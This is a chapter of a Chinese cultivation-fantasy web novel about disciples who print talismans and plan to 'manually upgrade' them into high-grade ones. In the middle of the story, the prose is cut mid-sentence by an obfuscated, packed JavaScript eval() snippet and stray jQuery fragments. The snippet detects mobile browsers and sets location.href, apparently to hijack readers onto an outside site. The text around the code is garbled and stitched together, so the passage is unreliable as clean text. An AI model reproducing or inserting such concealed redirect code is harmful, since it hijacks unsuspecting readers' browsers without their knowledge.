“大钱呀,得从有钱人手里赚。”楚澄的声音不高,却带着一种洞悉世事的笃定,如同在平静的湖面投下巨石。
所有人的目光像是被无形的磁石吸引,齐刷刷地聚集而来。
“阿澄,我就知道你绝对有后手!”
玲珑第一个反应过来,激动得如同被点燃的炮仗,尖叫一声扎进楚澄怀里,搂着她的脖子又蹦又跳。
楚澄被她勒得差点喘不过气,哭笑不得地拍拍她的手臂:“冷静点,小财迷,八字还没一撇呢,得先试试看。”
“我不管!”玲珑腻腻呼呼地拉着楚澄的手,亮晶晶的眼里盛满了崇拜:“有你在,肯定没问题!”
“啧,”江景辞不忍直视地转身,看似不耐,可嘴角分明扯着笑。
玲珑心情好,不和他计较,看金山一样专注地盯着楚澄:“你快说,怎么从有钱人手里赚钱!”
“你是不是傻,”楚澄曲指点了点她的额头,“你忘了珍宝阁的追踪符?忘了那些价格高到离谱,但还是一张难求的高阶符箓?”
玲珑一拍脑门,如梦初醒,“对哦,这几天光惦记小钱了,差点忘了自己的宏伟志向!高阶符箓,那才是真正的金矿呀!”
说干就干,几人都是执行力满分的实干派。立刻深挖,开始尝试印刷更高阶的符箓。
只可惜,无论是攻击符还是防御符,结果都一样——
一样的惨不忍睹。
印刷出来的东西要么刚一成型就化作青烟,要么符纹扭曲畸变,灵气压根没法流转,也有那勉强成型的,但灵力紊乱,激活的时候威力大打折扣,甚至干脆哑火。
玲珑不死心,还想照着先前的经验,让江景辞改进墨水:“大师兄,肯定是墨水的灵气浓度还不够,所以撑不起高级符箓,你再想想办法,多加点料,加猛料!”
“猛你个大头鬼!”
江景辞被她拽得一趔趄,哭笑不得地指着桌上近乎膏体的东西道:“祖宗,都升级多少回了。你瞧瞧这墨水多稠密,再加料就该成糊糊了,费那个时间画符,不如直接吞了补灵养气。”
连续几天的配方调整、材料投入,结果却毫无改变,大家都有些心浮气躁。
随着他的话音落地,小小的院落陷入突兀的安静。
风吹过,扬起满地灰烬,几人瞧着那飘来荡去的青烟,心中隐隐有些猜想,只是都缄默不言,没人敢开口点破。
“已经试过了,大师兄的墨水已经臻于完美,二师兄的模板也无可挑剔。问题不在这里。”
楚澄没有那么多顾忌,声音坦然地打破沉默:“失败纯粹是因为更高一阶的符箓,需要沟通更复杂的天地法则与灵力结构,单纯靠印刷制作的符箓无力承载其核心,天道自然不予认可。”
是了,符箓尚未激发就自燃,这哪里是灵气不足,分明是天道不允。
玲珑接收到其他几人疯狂的暗示,抿了抿唇,带着全家的希望上前,“阿澄,你别难过,虽然基础符箓卖不上价格,赚不了大钱,但……”
“哎呀,你会不会说话,”江景辞不忍直视,一把将玲珑扒拉到身后,亲自上阵:“师妹别伤心,你看,九州那么大,基础符薄利多销,细水长流,赚来的灵石也足够咱们逍遥快活。咱不去啃那些高阶符箓的硬骨头,自己开心最重要。”
楚澄缓缓转身,对上四张关切的脸,难得生出几分顽童心绪,故意丧着一张脸叹气,“不行呀,赚不到大钱,我和槐序长老的赌约完不成可怎么办。”
是了,那可是发了因果誓的。
四人脸色巨变,玲珑更是倒吸一口凉气:“我,我…咱们赚的灵石我不要了!只给我留下买符纸、墨水的钱,剩下的你都拿去。”
“我没钱,”毕方挠挠头,突然眼睛一亮,“但师兄那养了不少灵植,我们可以拿去卖了换钱。”
“不是,我同意了吗?”江景辞指着自己的鼻子,深觉自己被冒犯到了。
那是他精心呵护了几十年的灵植,是他的命根子!怎么好端端地就被拿来充公,还要帮小师妹还债。
詹初雨没说话,但她默默地站到了毕方的身后,或许这也是一种表态。
“噗嗤,”楚澄看他们已经快进到变卖家产的地步,实在有点憋不住,笑出声。
少女眉眼弯弯,刚才那点装模作样的丧气荡然无存。
“好了好了,逗你们的。我赌的是宗门富强,又不是自己腰包鼓起来,卖师兄的花有什么用,那点钱难不成能让整个明德宗一夜暴富?”
“就是,就是。”江景辞如蒙大赦,拍着胸口长舒一口气,狠狠瞪了毕方一眼,“听见没,师妹说了没用!”
这么一闹,楚澄心情也明朗了不少。
她收敛笑意,重新看向玲珑,眼神变得认真而明亮,“这条路虽然有点棘手,但也不是彻底没办法。”
“嗯?”玲珑双眼放光:“你有办法!”
“有,就是你得吃点苦。”
楚澄看着她仿佛在看一块儿即将经受雕琢的璞玉。
“我不怕!”玲珑挺直腰杆小胸脯拍得啪啪作响,眼神坚定地如同要奔赴战场,“只要能搞出高阶符箓赚大钱,再大的苦我也能吃得下!”
楚澄含笑整理她的发髻,“高级符箓失败的原因,归根到底还是墨水和模板中倾注的灵力不足,没办法支撑起高级符箓复杂的法则结构和能量需求,所以得不到天道认可。”
“但这个问题也不是无法更改。”
她语气平平,像是在问今天的天气怎么样,说出的话却不亚于惊天大雷,“我们不能硬闯天道设下来的关卡,但我们可以改变思路,比如,改写符纹。”
“改符纹?!”满园惊疑。
“对,”楚澄的手指在符纸上虚划,“我们想办法在这里留出一个气口。”
“然后呢?”玲珑听得入神,连呼吸都放轻了。
“然后转人工,在这些预留的气口上二次加工。”
转人工?又是一个新鲜词汇,不过也确实生动形象。
楚澄没看出来他们的腹诽,干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075983|176027||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脆利落地总结正事:“印刷可以保证低阶符箓百分百的成功率,所以我们就先做出低阶符箓。然后在这些符箓预留的气口处加注灵气,实现人工升阶。”
“那这和自己画有什么区别?”
江景辞有点不明白,印刷之后再加工,听起来就麻烦,感觉还没有自己画来的便利。
“不一样,”楚澄叹气,“符箓和丹药不同,绘制过程中的不确定性太高,修士的心境,运笔的顿挫,境界的高低都会影响成品的好坏。但印刷是统一的,不变的,这就从概率上减少了一半的失败风险。”
“那不还有一半呢?”江景辞快人快语,说完才反应过来,摸着鼻子讪讪一笑。
“二次加工也不难,”楚澄轻点桌面,“只要气口设置得合理,修士只需要往里灌注灵气就够了。其余的,符箓法则自会运转,这感觉就像……”
“画龙点睛。”玲珑若有所感,呢喃开口。
是了,印刷的符箓就像无眼的巨龙,只需修士往那气口渡上几口灵气,点上眼睛,立刻就能腾飞十里,所向披靡。
这么说,确实比自己画符来得稳定又快捷。
但是——
人工升阶?
又是一个石破天惊,离经叛道的词汇!
它所描绘的景象,比先前的印刷符箓还要惊世骇俗。
这分明是在挑战“一笔成型,成败一举”的旧日传统,是在颠覆传统符箓的制作流程。
玲珑怔愣地看着好友,一条从未见过的、离今叛道的路在她眼前缓缓铺开。
这条路陌生而叛逆,与千百年的传统背道而驰。
过往的生活经验在全力地叫嚣着不可能,可是内心深处,被点燃的那点豪情像是不灭的火苗,高呼着“去试试”,烧得她血液滚烫,心跳如鼓。
“阿澄,真的需要这么麻烦吗?”
玲珑讷讷开口,声音干涩沙哑,带着本能的退缩和巨大的不确定。
这般颠覆的做法,真能为天道所容?
楚澄没有回答,玲珑问的不是她,是自己。
剩余三人也能感知到其中风云,沉默地守在一边。
“轰隆——”
好似只是再寻常不过的一声惊雷,却惊醒了屋檐下昏昏欲睡的猫,它饶有趣味地看着院里的两个人,像是怕打扰,就连甩尾的动作都十分轻巧。
玲珑怔怔地看着楚澄的眼睛,所有的犹豫、退缩都在这双眼睛的注视下消融。
离今叛道又如何,阿澄在这里!
“那就试试。”
她听见了自己的声音,分明还带着颤抖,偏偏异常清晰。
“轰隆隆——!”
灰蓝色的天空,无风无雨,那惊雷,来得突兀,去得也果决。
渭竹峰顶,云海之上。
打坐的柳半倏然睁开双眼,目光在那片干净的天空停留一瞬,唇角微微勾起。
“小兔崽子们,还挺会惹事。”
她声音不大,看似在抱怨,可眼里分明有惊喜。